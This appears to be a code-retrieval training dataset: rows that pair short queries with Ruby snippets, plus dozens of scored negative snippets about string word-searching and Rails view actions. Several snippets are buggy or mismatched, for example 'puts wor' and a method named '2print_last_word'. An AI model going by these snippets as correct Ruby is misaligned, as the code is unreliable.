query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
listlengths 0
101
| negative_scores
listlengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
---|---|---|---|---|---|---|
following strings. If it does exist, print out the word.
|
def has_lab(string)
if string =~ /lab/
puts string
else
puts "no 'lab' found in string"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def include?(word)\n find_word(word) { |found, current| return found && current.is_word }\n end",
"def include?(word)\n if [email protected]?\n each do |data|\n if data.to_s.downcase == word.downcase\n return true\n end\n end\n end\n false\n end",
"def found_match(str)\n\tif dictionary.include?(str) # returns true if found in the dictionary\n\t\treturn str # don't stop the recursion, but return the word ?\n\tend\n\tfalse\nend",
"def includes_string?(string)\n word = \"Dino\"\n\n if string.include?(word)\n puts \"Sentence does include #{word}! :)\"\n else\n puts \"Sentence does not include #{word}! :(\"\n end\nend",
"def search_builder(file_added, word)\n\t\t file_data = File.read(file_added)\n\t\t file_2data = File.read(file_added).split(\"\\n\")\n\t\t\tper = \"#{word}: can not find\"\n\n\t\t\tif file_data.downcase.include?(word.downcase)\n\n\t\t\t\tfor j in 0..file_2data.length-1\n\t\t\t\t if file_2data[j].downcase.include?(word.downcase)\n\t\t\t\t\t\tper = file_2data[j].downcase\n\n\t\t\t\t\t\tif per.include?(\":\")\n\t\t\t\t\t\t per = per.capitalize\n\n\t\t\t\t\t\telsif per.downcase.include?(\"#{word.downcase}\")\n\t\t\t\t\t\t per = \"#{word}: found\"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn per\n\t\tend",
"def find_word(lexical_item)\n \n end",
"def search_next_word(word)\n @info.focus\n highlight_word word\n cursor = @info.index('insert')\n pos = @info.search_with_length(Regexp.new(Regexp::quote(word), Regexp::IGNORECASE), cursor + ' 1 chars')[0]\n if pos.empty?\n @app.status = 'Cannot find \"%s\"' % word\n else\n set_cursor(pos)\n if @info.compare(cursor, '>=', pos)\n @app.status = 'Continuing search at top'\n else\n @app.status = ''\n end\n end\n end",
"def find_word( word )\n word_str = word.to_s\n found_word = nil\n if @words_set.include? word_str\n found_word = word_str\n elsif @words_set.include? word_str.capitalize\n found_word = word_str.capitalize\n elsif @words_set.include? word_str.downcase\n found_word = word_str.downcase\n end\n found_word\n end",
"def show_word\n print \"The word was: #{@word} \\n\"\n puts \"\\n\"\n end",
"def checking_dictionary_for_word_match\n @prefix = @str[@i_last_real_word...@i]\n \n if valid_word?(@prefix)\n if @skip_counter > 0\n @skip_counter -= 1\n else\n @words[i] = @prefix\n @i_last_real_word = @i\n end\n end\n end",
"def matching_the_word_and\n /WRITE ME/\n end",
"def print_first_word(words)\r\n puts word = words.pop(1)\r\n end",
"def print_first_word(words)\n word = words.shift\n puts wor\n end",
"def print_info\n if get_definitions[0] == nil\n puts \"Invalid word\"\n else\n # output for terminal, uses dashes for cleaner screen\n puts \"-\" * 20\n puts \"You entered #{word}.\"\n `say #{word}`\n puts \"-\" * 20\n puts \"We found the following definitions:\"\n print_definitions\n puts \"-\" * 20\n puts \"The best example usage is:\"\n print_top_example\n puts \"-\" * 20\n puts \"We found the following pronunciations:\"\n print_pronunciations\n puts \"-\" * 20\n end\n end",
"def next_words_for(word) \n if word.nil? or word.empty?\n generator_names \n else\n name_of_last_generator_inverse = word[-1].swapcase\n generator_names.find_all{|name| name != name_of_last_generator_inverse }.map{|name| word + name }\n end\n end",
"def include?(word)\n @words[word[0]].include? word\n end",
"def is_word?(fragment)\n dictionary.include?(fragment)\n end",
"def check_if_present(word)\n chars = word.downcase.split('')\n match = false\n char_count = 0\n crawl = root\n\n chars.each do |a_char|\n char_count += 1\n child = crawl.children\n if child.keys.include?(a_char)\n crawl = child[a_char]\n if crawl.is_end && (char_count == chars.length)\n match=true\n end\n else\n break;\n end\n end\n match # returns if the word is in dictionary or not.\n end",
"def lookup(word)\n word.gsub!(/\\s/, \"+\")\n meaning_file = initialize_files(word)[0]\n f = File.open(meaning_file)\n begin\n extract_text(f)\n rescue Exception\n raise\n end\n\n end",
"def pirates_say_arrrrrrrrr(string)\n other_word = \"\"\n string.length.times do | index |\n if ((string[index].downcase.include? \"r\") && (string[index + 1] != nil))\n other_word << string[index + 1]\n end\n end\n\n return other_word\nend",
"def display_word\n puts \"Current word: #{@hidden_word}\"\n end",
"def begin_find_next_word(stepup)\n if stepup == true\n @s = @e+1\n @e += 1\n else nil\n end\n end",
"def get_word_for_print(letters, good_letters)\n result = ''\n letters.each do |item|\n result += if good_letters.include?(item)\n item + ' '\n else\n '__ '\n end\n end\n result\n end",
"def word_present?(word)\n @words.include?(word.downcase)\n end",
"def word_present?(word)\n @words.include?(word.downcase)\n end",
"def find_entry!(string)\n string = string.upcase\n [ string, words.get(string) ] if words.has_key?(string)\n end",
"def concatenation(word1, word2)\n puts \"Artist #{word1} just released their newest album, titled #{word2}.\"\nend",
"def include? word\n @d.include? word\n end",
"def display_name_word\n if @sym == SYM_ATOM || @sym == SYM_ATOM_NON_ASCII || @sym == SYM_QTEXT\n save_text\n get\n else\n\t error \"expected word, got #{@sym.inspect}\"\n\tend\n end",
"def contains?(word)\n if word.length > 0\n if /lab/ =~ word\n puts \"#{word} contains the string 'lab'\"\n else\n puts \"Not in that word.\"\n end\n else\n puts \"Please specify a word.\"\n end\nend",
"def has_lab?(string)\n if string.downcase =~ /lab/\n puts \"#{string} includes the word lab.\"\n else\n puts \"#{string} does not include the word lab\"\n end\nend",
"def check_lab(word)\n if word =~ /lab/\n puts 'we have a match'\n else\n puts word\n end\nend",
"def has_lab?(word)\n if /lab/.match(word)\n puts word\n else\n puts \"No match here.\"\n end\nend",
"def includes?(word:, current_node: @root)\n existing_node = current_node.find_child(letter: word[0])\n\n return false if existing_node.nil?\n return existing_node.word_end? if word.length == 1\n\n includes?(word: word[1..-1], current_node: existing_node)\n end",
"def print_last_word(words)\r\n puts words.pop\r\n end",
"def check(word)\n if word.downcase =~ /lab/\n puts word\n end\nend",
"def wordy\n prefix = \"Found #{@name} (#{@version})\"\n\n if @platforms.size == 1\n \"#{prefix}, but was for platform #{@platforms[0]}\"\n else\n \"#{prefix}, but was for platforms #{@platforms.join(' ,')}\"\n end\n end",
"def has?(word)\n expand.each { |phr| return true if phr.include? word }\n false\n end",
"def scream(words) \n\t\twords = words + \"!!!!\" \n\t\treturn\n\t\tputs words \n\tend",
"def word_break(s, word_dict, rem_word='')\n if word_dict.include?(s)\n if rem_word == ''\n return true\n else\n word_break(rem_word, word_dict)\n end\n else\n rem_word = s[-1] + rem_word unless s[-1] == nil\n word_break(s[0,s.length - 1], word_dict, rem_word)\n end\nend",
"def check_word(word)\n if self.player.word_list.include?(word)\n puts \"Already found that one!\"\n elsif word.length < 4\n puts \"That word is too short. Words must be 4 letters or longer.\"\n elsif word.chars.include?(self.board.inner_letter) == false\n puts \"Missing center letter.\"\n elsif self.board.word_list.include?(word)\n #get points total for word\n points = self.board.get_word_value(word)\n self.player.add_points(points)\n #adds word to wordlist\n self.player.add_word(word)\n if self.board.pangram?(word)\n puts \"🐝 PANGRAM FOUND 🐝\"\n puts \"The bees are pleased. #{points} added to your score.\"\n else\n puts \"#{self.nice_messages.sample} #{points} point#{\"s\" if points > 1} added to your score.\"\n end\n self.player.display_total\n else\n puts \"Not in word list :(\"\n end\n end",
"def probe_words(index, str, r)\n key = str[0..index+1]\n if index < str.size\n if find?(key)\n index = 0; str.slice!(key); next_char = str[0]\n if !next_char.nil? && find?(nkey = key + next_char)\n r << nkey; str.slice!(0)\n else\n r << key\n end\n end\n probe_words(index+1, str, r)\n end\n end",
"def start_of_word; end",
"def check_in(word)\n\tif /lab/ =~ word\n\t\tputs word\n\telse\n\t\tputs \"No match\"\n\tend\nend",
"def penultimate(string)\n chosen_word = ''\n new_word = string.split\n\n new_word.each do |word|\n if word == new_word[-2] \n chosen_word << word\n end\n end\n chosen_word\nend",
"def get_word(position)\n line = @info.get(position + ' linestart', position + ' lineend')\n pos = @info.get(position + ' linestart', position).length\n\n line = ' ' + line + ' '\n pos += 1\n \n if line[pos,1] == ' '\n # If the user clicks a space between words, or after end of line, abort.\n return nil\n end\n \n a = pos\n a -= 1 while line[a-1,1] !~ /[ (]/\n z = pos\n z += 1 while line[z+1,1] !~ /[ ()]/\n word = line[a..z]\n\n # Get rid of English punctuation.\n word.gsub!(/[,.:;]$/, '')\n\n # Get rid of italic, bold, and code markup.\n if word =~ /^(_|\\*|\\+).*\\1$/\n word = word[1...-1]\n a += 1\n end\n\n a -= 1 # Undo the `line = ' ' + line` we did previously.\n @info.tag_add('keyword', '%s linestart + %d chars' % [ position, a ],\n '%s linestart + %d chars' % [ position, a+word.length ])\n word.strip!\n\n return nil if word.empty?\n return nil if word =~ /^-+$/ # A special case: a line of '-----'\n\n if word =~ /^#/\n # Sometimes there's just \"#method\".\n word = @topic + word\n end\n\n case get_previous_header(position)\n when 'Instance methods:'\n word = topic + '#' + word\n when 'Class methods:'\n word = topic + '::' + word\n when 'Includes:'\n word = get_previous_class(position) + '#' + word if not word =~ /^[A-Z]/\n end\n\n return word\n end",
"def find_word(word)\n chars = word.chars\n current = @root\n\n word_found =\n chars.all? { |c| current = current.children.find { |n| n.value == c } }\n yield word_found, current if block_given?\n\n current\n end",
"def check_in(word)\n if /lab/i =~ word # regex with \"i\" for case insensitive.\n puts word\n else\n puts \"Not present.\" \n end\nend",
"def puts_first_word(words)\n word = words.shift()\n puts word\nend",
"def pirates_say_arrrrrrrrr(string)\nz = \"\"\nstring.split(\"\").each_index{|x| z << string[x+1] if string.downcase[x] == \"r\" && string[x+1] != nil }\nz\nend",
"def wordInStrings(word, strings)\n for string in strings do\n\n if string.include? word\n return true\n end\n end\n\n return false\nend",
"def get_word_for_print(letters, good_letters)\n result = \"\"\n\n letters.each do |letter|\n result += if good_letters.include?(letter)\n letter + \" \"\n else\n \"_ \"\n end\n end\n\n result\n end",
"def a_or_an(word)\n word = word.strip\n if %w{a e i o u A E I O U}.include? word[0..0].to_s\n \"an #{word}\"\n else\n \"a #{word}\"\n end\n end",
"def pirates_say_arrrrrrrrr(string)\n text = \"\"\n r_exist = false\n string.split('').each do |chr|\n if r_exist == true\n text << chr\n r_exist = false\n elsif chr.downcase == \"r\"\n r_exist = true\n end\n end\n text\nend",
"def word_has?(letter)\r\n @word.include?(letter)\r\n end",
"def word_has?(letter)\n @word.include? letter\n end",
"def puts_first_word(words)\r\n word = words.shift()\r\n puts word\r\nend",
"def find_adjective(string)\n words = string.split(\" \")\n # Here we're finding the word that proceeds an adjective.\n index = words.find_index(\"is\")\n # Here we're returning the word, an adjective, that follows the word is.\n words[index + 1]\nend",
"def is_word(word)\n if @trie.has_key?(word) == true && word.length > 2 && @words.include?(word) == false\n return true\n else\n return false\n end\nend",
"def findWord(word, filename)\n regex = Regexp.new(word)\n File.foreach(filename).with_index { |line, line_num|\n p \"#{line_num}: #{line}\" if regex =~ line\n }\nend",
"def search_prev_word(word)\n @info.focus\n highlight_word word\n cursor = @info.index('insert')\n pos = @info.rsearch_with_length(Regexp.new(Regexp::quote(word), Regexp::IGNORECASE), cursor)[0]\n if pos.empty?\n @app.status = 'Cannot find \"%s\"' % word\n else\n set_cursor(pos)\n if @info.compare(cursor, '<=', pos)\n @app.status = 'Continuing search at bottom'\n else\n @app.status = ''\n end\n end\n end",
"def looper(word1, word2)\n\t\tputs word1\n\t\t@word1 = word1.split(\"\") \n\t\t@word2 = word2.split(\"\")\n\n\t\tuntil @word1 == @word2 do \n\n\t\t\[email protected]_with_index do |let, index|\n\t\t\t\tif let == @word2[index]\n\t\t\t\telse \n\t\t\t\t\ttemp = @word1.clone\n\t\t\t\t\ttemp[index] = @word2[index]\n\t\t\t\t\ttemp = temp.join(\"\")\n\t\t\t\t\tif @dictionary.exists?(temp) \n\t\t\t\t\t\tputs temp\n\t\t\t\t\t\ttemp = temp.split(\"\")\n\t\t\t\t\t\t@word1=temp\n\t\t\t\t\tend\n\t\t\t\tend \n\t\t\tend\n\t\tend\n\tend",
"def check_player_words(player_guess_word)\n word.chomp.chars.each_with_index{\n |item, index|\n if item == player_guess_word.chomp.chars[index].to_s # exactly equal and in the same postion\n result = \"Exact\"\n elsif word.chomp.include?(player_guess_word.chars[index].to_s) # just includes the letter\n result = \"Near\"\n else # other condition that either not exact nor includes is.\n result = \"Miss\"\n end\n sleep(SLEEP_TIME) # just stop for a time make a good user experience\n puts \"Letter: #{player_guess_word.chars[index]} : #{result}\"\n }\n end",
"def find_word(search, word, maxRow, maxCol)\n (0..maxRow).each do |i|\n (0..maxCol).each do |j|\n if starts_here(search, word, i, j)\n puts \"The word '#{word}' starts at (#{i},#{j}).\"\n return\n end\n end\n end\n puts \"The word '#{word}' was not found!\"\nend",
"def word_has?(letter)\n @word.include?(letter)\n end",
"def pirates_say_arrrrrrrrr(string)\n\tstring.split('').select.with_index { |item, i|\n\t\tstring.split('')[i-1].downcase == 'r' if i > 0\n\t}.join\nend",
"def find_concatenated(word)\n [].tap { |a| probe_words(0, word, a) }\n end",
"def end_of_word; end",
"def print_word\n\t\t$current_print = []\n\t\[email protected]_to_guess.each_with_index do |i,index|\n\t\t\tif @player.correct_letters.include? i\n\t\t\t\t$current_print << \"#{i}\"\n\t\t\telse\n\t\t\t\t$current_print << \" _\"\n\t\t\tend\n\t\tend\n\t\tprint $current_print.join\n\tend",
"def get_word\r\n return_word\r\n end",
"def find_adjective(string)\n\twords = string.split(\" \")\n\tindex = words.find_index(\"is\")\n\twords[index+1]\t\t\t\t\t##only has return value when an adjective exists\nend",
"def puts_first_word(words)\n word = words.shift() # 'poop' replaced with 'pop'\n puts word\nend",
"def print_ruby_found_in_this_location(current_location, current_found)\n real = current_found[0]\n fake = current_found[1]\n if real.zero? && fake.zero?\n puts \" Found no rubies or fake rubies in #{current_location.name}.\"\n elsif fake.zero?\n puts \" Found #{real} #{plural?(real)} in #{current_location.name}.\"\n elsif real.zero?\n puts \" Found #{fake} fake #{plural?(fake)} in #{current_location.name}.\"\n else\n puts \" Found #{real} #{plural?(real)} and #{fake} fake #{plural?(fake)} in #{current_location.name}.\"\n end\n end",
"def display_word(word, triedchars)\n res = \"\"\n word.split(\"\").each do |char|\n if triedchars.include?(char.upcase) or not char.match(/^[[:alpha:]]$/)\n res += char\n elsif\n res += \"_\"\n end\n end\n res\nend",
"def output_word\n end",
"def search(word, list)\n\tlist.each do |item|\n\t\tif item == word\n\t\t\tp \" '#{item}' was found\" \n\t\tend\n\tend\nend",
"def find_word(word)\n\t\tfc = word[0,1].downcase\n\t\t# check if it's a vowel\n\t\tif fc =~ /[aeiou]/\n\t\t\t# if so, then check in each bucket\n\t\t\t\"aeiou\".split(//).map do |letter|\n\t\t\t\tfind_matches(@dictionary[letter], word)\n\t\t\tend.flatten\n\t\telse\n\t\t\t# else we do the search directly\n\t\t\tfind_matches(@dictionary[fc], word)\n\t\tend\n\tend",
"def find_word(word, node = @root)\n if word == \"\" && node.end_of_word\n return node\n else\n child = node.find_child(word[0])\n child ? find_word(word[1..-1], child) : nil\n end\n end",
"def a_or_an(word)\n word = word.strip\n if %w{a e i o u}.include? word[0..0].to_s.downcase\n \"an #{word}\"\n else\n \"a #{word}\"\n end \n end",
"def in_a_word\n WORDS[self]\n end",
"def for_fs_sake(string)\n words = string.split(\" \")\n the_word = \"\"\n f_index = nil # index from end\n\n words.each do |word|\n #find an f\n (1..word.length).each do |i|\n if word[-i] == \"f\"\n if the_word == \"\" or i < f_index\n the_word = word\n f_index = i\n break\n end\n end\n end\n end\n\n the_word\nend",
"def 2print_last_word(words)\n word = words.pop\n puts word\nend",
"def find?(word)\n !find(word).empty?\n end",
"def check_word(letter)\n i = 0\n @secret_word.each_char do |char|\n if char == letter\n @display_word[i] = letter\n end\n i += 2 ##because in display word after each letter or underscore there is a space\n end\n return @display_word\n end",
"def matching_exactly_one_word\n /WRITE ME/\n end",
"def find_item(word, array)\n iter = 0\n while iter < array.length\n # is \"this\" same as \"the\"?\n if word == array[iter]\n return iter + 1 #in this case, iter +1 will add 1 to the position number\n end\n\n iter += 1\n end\n puts \"#{word} doesn't exist\"\nend",
"def check(word)\n if /lab/ =~ word\n puts word\n else\n puts \"No Match!\"\n end \nend",
"def first_wa(array)\n output = \"\"\n array.each do |word|\n if word[0..1].to_s == \"wa\"\n output = word\n break\n end\n end\n output\nend",
"def include?(word)\n # won't find words that have q but not u\n return false if word.upcase.match(/Q$|Q[^U]/)\n # won't find a word longer than 16\n return false if word.length > 16\n # normalize the word for searching\n searchy_word = word.upcase.sub(/QU/,\"Q\")\n if preindexed?\n # if we bothered to create a trie, we'd better use it\n search_trie(searchy_word)\n else\n # try a recursive search starting from each position\n @board.flatten.each_with_index.any? do |_, index|\n #convert flat index to x,y coords\n pos = index.divmod(4)\n search_board(searchy_word, @board, pos)\n end\n end\n end",
"def lookup_word(word)\n h = self.lookup_entry(word)\n [ h[:pronounce], h[:meaning] ]\n end",
"def search(word)\n last = word.each_char.inject(@root) do |curr, char|\n curr.is_a?(TrieNode) ? curr[char] : nil\n end \n last && last[:_] || false \n end",
"def lab_in_string(word)\n\tword = word.downcase\n\tif /lab/ =~ word\n\t\tputs 'lab is in the string '+word+'.'\n\telse\n\tputs 'Lab is not in the string '+word+'.'\t\n\tend\nend",
"def scream(words)\n words = words + \"!!!!\"\n puts words #this command returns nil, if 'p' over puts, =>Yippee!!!!\nend",
"def next_word\n puts \"Here's the next enemy...\"\n display_word\nend",
"def check_in(word)\n if /lab/ =~ word\n puts word\n else\n puts \"No match\"\n end\nend",
"def check_in(word)\n if /lab/ =~ word\n puts word\n else\n puts \"No match\"\n end\nend",
"def check_in(word)\n if /lab/ =~ word\n puts word\n else\n puts \"No match\"\n end\nend",
"def strings(array)\n string = \"\"\n array.each do |word|\n if word == array[-1]\n string << word\n else\n string << word + \", \"\n end\n end\n p string\nend",
"def matching_a_string_starting_with_hello\n /WRITE ME/\n end",
"def word; end"
] |
[
"0.63553876",
"0.6251725",
"0.61440945",
"0.60920185",
"0.6084716",
"0.60819334",
"0.60801256",
"0.6064847",
"0.60500085",
"0.6049788",
"0.6017794",
"0.60097104",
"0.60076594",
"0.5996279",
"0.5958649",
"0.5956455",
"0.5954554",
"0.5950496",
"0.5943277",
"0.58911127",
"0.5864226",
"0.58533144",
"0.58418846",
"0.58127266",
"0.58127266",
"0.5810615",
"0.5799672",
"0.57764363",
"0.57690394",
"0.57642007",
"0.5757283",
"0.5724672",
"0.572211",
"0.5703747",
"0.5685057",
"0.5685017",
"0.56833124",
"0.5678202",
"0.56743795",
"0.56730086",
"0.56645834",
"0.5650832",
"0.56477433",
"0.56411445",
"0.56253034",
"0.56236726",
"0.5623368",
"0.56050026",
"0.56043994",
"0.5603372",
"0.55959606",
"0.55883414",
"0.5580588",
"0.5572621",
"0.55684084",
"0.5561053",
"0.55581415",
"0.55507237",
"0.5544598",
"0.5538837",
"0.55378234",
"0.5535941",
"0.55343384",
"0.5522588",
"0.55222726",
"0.5519836",
"0.5515564",
"0.55094314",
"0.55079836",
"0.5505459",
"0.5505347",
"0.5502879",
"0.55028456",
"0.5486871",
"0.54867965",
"0.5472615",
"0.54724014",
"0.5470568",
"0.54667115",
"0.54637116",
"0.5463531",
"0.5460123",
"0.5459704",
"0.54575425",
"0.545175",
"0.54456455",
"0.54444",
"0.5427951",
"0.54259336",
"0.5425019",
"0.54249454",
"0.54135936",
"0.54101926",
"0.5408919",
"0.5402551",
"0.5402551",
"0.5402551",
"0.5401825",
"0.54010797",
"0.53988814"
] |
0.5504235
|
71
|
should open a new view.
|
def version(sender)
v = ::Vdoc2Org::VERSION
puts "version: #{v}"
v
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def switch_to_view\n unless ( name = path_matcher.controller_name )\n return\n end\n # figure out what the name of def we are in is\n action = find_function_under_cursor\n view = File.join(project_root, \"/app/views/#{name}/#{action}\")\n\n # open the according view (most likely non existant)\n if !File.exists?(view)\n %w(erb html.erb haml html.haml js.erb xml.erb).each do |try|\n if File.exists?(\"#{view}.#{try}\")\n view += \".#{try}\"\n break\n end\n end\n end\n\n open_file view\n end",
"def show()\n @view__.show\n self\n end",
"def create\n @view = View.new(params[:view])\n @view.ministry = @ministry\n\n respond_to do |format|\n if @view.save\n # Make this view the current view\n session[:view_id] = @view.id\n flash[:notice] = 'View was successfully created.'\n format.html { redirect_to edit_view_url(@view) }\n format.xml { head :created, :location => view_url(@view) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @view.errors.to_xml }\n end\n end\n end",
"def show()\n view.show\n end",
"def begin_view_new(object_locale_key)\n begin_view(t(:Create),\" \",t(object_locale_key))\n end",
"def new\n render 'new'\n end",
"def new\n @view = View.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @view }\n end\n end",
"def new\n @view = View.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @view }\n end\n end",
"def new\n render \"new\"\n end",
"def new\n render \"new\"\n end",
"def create_view(view, cspec)\n\tKernel.system(\"perl #{$scripts}/ct-mkview.pl -raw -name #{view} -dynamic -spec #{cspec}\")\n\treturn $? == 0\nend",
"def start_view(view)\n\treturn true if File.directory?(view_dir(view))\n\tKernel.system(\"cleartool startview #{view} > nul 2>&1\")\n\treturn $? == 0\nend",
"def new\n\t\t# no code needed here; all handled in the view\n\tend",
"def view\n end",
"def new\n # render new.html\n end",
"def visit_new_page(model, **opt, &block)\n visit_action_page(model, :new, **opt, &block)\n end",
"def supports_create_or_replace_view?\n true\n end",
"def add_view\n super\n end",
"def loc_view\n \n end",
"def new\n # default: render 'new' template\n end",
"def new\n # default: render 'new' template\n end",
"def new\n # default: render 'new' template\n end",
"def new\n # default: render 'new' template\n end",
"def end_view_new(objects_path=nil)\n end_view(link_to_back(objects_path))\n end",
"def new\n @page_title = 'Create Army'\n respond_to do |format|\n format.html # render new.html.erb\n end\n end",
"def create\n @view = View.new(params[:view])\n @view.owner_id = @application_user.id\n\n respond_to do |format|\n if @view.save\n flash[:notice] = 'View was successfully created.'\n format.html { redirect_to(@view) }\n format.xml { render :xml => @view, :status => :created, :location => @view }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @view.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @view_template = ViewTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @view_template }\n end\n end",
"def new_tab\n @session.open_new_window\n rescue Capybara::WindowError => e\n new_tab_via_link\n end",
"def create_view()\n raise RuntimeError.new(\"Class #{self.class.name} must implement a ::create_view() method.\")\n end",
"def new\n # render(:new) => this whole action could also be implicit\n end",
"def show\n render \"new\"\n end",
"def target_view_path\n super\n end",
"def new\n @view = View.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @view }\n end\n end",
"def create_new\n render \"create_new\"\n end",
"def new\n @list_view = ListView.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @list_view }\n end\n end",
"def view_modal\n handle_view\n end",
"def new #given to config/routes.rb\n end",
"def view()\n @view\n end",
"def new\n @page = Page.new\n # render :new app/views/pages/new.html.erb\n end",
"def end_view_index(new_object_path=nil)\n end_view(link_to_create(new_object_path))\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n end\n end",
"def supports_create_or_replace_view?\n false\n end",
"def new\n redirect_to edit_page_path(find_or_create_page)\n end",
"def open_in_browser\n selection = @list_view.selection\n if iter = selection.selected\n selected_category = iter.parent[0]\n task_index = iter[3]\n url = todo_data.get_trac_url(task_index)\n Launchy.open(url)\n end\n end",
"def _view; end",
"def set_as_default_view\n frm.link(:text=>\"Set as Default View\").click\n end",
"def new\n render :new\n end",
"def view\n @_view\n end",
"def new\n @page = Page.new\n #render :new - app/views/pages/new.html.erb\n end",
"def view(name, opts = {})\n View.create(model, name, opts)\n create_view_method(name)\n end",
"def view; end",
"def new\n @todo = TodoItem.new\n # render :new - app/views/pages/new.html.erb\n end",
"def new\n render\n end",
"def new\n render\n end",
"def new\n render\n end",
"def new\n render\n end",
"def view(opts)\n opts = check_params(opts,[:view_names])\n super(opts)\n end",
"def add_view_code\n return '' if (data = @record.send(@yaml['name'])).blank?\n\n table, form_name = @yaml['view'].split(/\\ |\\,/).delete_if { |e| e.blank? }\n url = @parent.url_for(controller: 'cmsedit', id: data, action: :edit, table: table, form_name: form_name, readonly: true, window_close: 1 )\n icon = @parent.mi_icon('eye-o md-18')\n %(<span class=\"dc-window-open\" data-url=\"#{url}\"> #{icon}</span>)\nend",
"def set_view\n @view = View.find(params[:id])\n end",
"def new\n @open_space = current_user.open_spaces.new\n\n respond_to do |format|\n format.html { render :layout => false }# new.html.erb\n format.xml { render :xml => @open_space }\n end\n end",
"def create\n @view = View.new(params[:view])\n\n respond_to do |format|\n if @view.save\n format.html { redirect_to @view, notice: 'View was successfully created.' }\n format.json { render json: @view, status: :created, location: @view }\n else\n format.html { render action: \"new\" }\n format.json { render json: @view.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new #login page\n end",
"def dialog_new_editor\n assert_privileges(\"dialog_new_editor\")\n @record = Dialog.new\n javascript_redirect(:controller => 'miq_ae_customization', :action => 'editor', :id => @record.id)\n end",
"def define_view\n \t#puts \"#{controller_name}.define_view:begin view=#{@myparams[:view_id]}\"\n \t# views: liste des vues possibles est utilisee dans la view ruby show\n\t\t@views = View.all\n\t\t# view_id: id de la vue selectionnee est utilisee dans la view ruby show\n\t\t#@myparams[:view_id] = @views.first.id if @myparams[:view_id].nil?\n\t\tif @myparams[:view_id].nil?\n\t\t\tif logged_in?\n\t\t\t@myparams[:view_id] = current_user.get_default_view.id\n\t\t\tend\n\t\tend\n\t\t#puts \"#{controller_name}.define_view:end view=#{@myparams[:view_id]}\"\n\tend",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end",
"def start_new_toy\n @main_view.setup_for_new\n @id = rand(2**60).to_s\n end",
"def new_page(options={})\n close_page\n open_page(options)\n end",
"def set_view(view)\n add_actions \"SetView(#{view})\"\n end",
"def show_view\n\t\tvue_borne.window.show_all\n\tend",
"def new\n @page = Page.new\n # render new.html.erb\n end",
"def new\n @page = Page.new\n # render new.html.erb\n end",
"def new\n render 'new.html.erb'\n \n end",
"def new\n @rails_url = RailsUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rails_url }\n end\n end",
"def new\n # refs #373 - rails 3 - having this blank method fixes the problem\n end",
"def new\r\n\r\n end",
"def open\n annotation = Annotation.find(params[\"id\"])\n redirect_to :controller => :viewer,\n :annotation => annotation.name,\n :username => annotation.user.username\n end",
"def new\r\n\t\trender 'tournaments/_new', layout: false\r\n\tend",
"def new\n respond_to do |format|\n format.html\n end\n end",
"def goto\n navigate_application_to \"Report=>Custom Views\"\n end",
"def view(name, opts = {})\n design_doc.create_view(name, opts)\n end",
"def new\n\n end",
"def new\n\n end",
"def new\n # using the render method is not necessary if there is a view in 'views/questions'\n # with the same name as the action 'new'\n @question = Question.new\n\n end",
"def new\n render layout: false\n end",
"def new\n\t\t\t\"Should we make something new?\"\n\t\tend",
"def new\n new_object Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :layout => \"default\" }\n end\n end",
"def new\n @scenario = Scenario.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @scenario }\n end\n end",
"def new\n @show = Show.new\n\t@title = \"New show\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @show }\n end\n end",
"def new\n @project = Project.new\n @edit_mode = true\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def new\n @folder = Folder.new\n @new = true;\n respond_to do |format|\n format.html { render \"edit\" }\n format.xml { render :xml => @folder }\n end\n end",
"def new\n @window = Window.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @window }\n end\n end",
"def new\n @wiki_page = WikiPage.find(params[:wiki_page_id])\n new_name = params[:diagram_name] || 'New Diagram'\n new_diagram = self.gliffy_handle.document_create(new_name,APP_CONFIG['gliffy_folder'])\n redirect_to edit_url(@wiki_page,new_diagram.document_id)\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @get_started_page }\n end\n end",
"def new_gs\n render :new, layout: 'popup'\n end",
"def new\n @showcase = Showcase.new\n @button_text = 'Create'\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @showcase }\n end\n end",
"def new\n @object = @model_class.new\n respond_to do |format|\n format.html { render :template => views_directory + '/form' }\n format.xml { render :xml => @object }\n end\n end"
] |
[
"0.6736078",
"0.64449644",
"0.6432651",
"0.6392508",
"0.6372416",
"0.63341206",
"0.6326482",
"0.6326482",
"0.6244204",
"0.6244204",
"0.62320447",
"0.62049025",
"0.61833066",
"0.6171576",
"0.6170324",
"0.6150592",
"0.6135813",
"0.6130711",
"0.61286825",
"0.612682",
"0.612682",
"0.612682",
"0.612682",
"0.6093247",
"0.6089924",
"0.60676104",
"0.6052508",
"0.60327506",
"0.6009435",
"0.60015607",
"0.6001503",
"0.59705335",
"0.59695584",
"0.59503603",
"0.59487814",
"0.59435934",
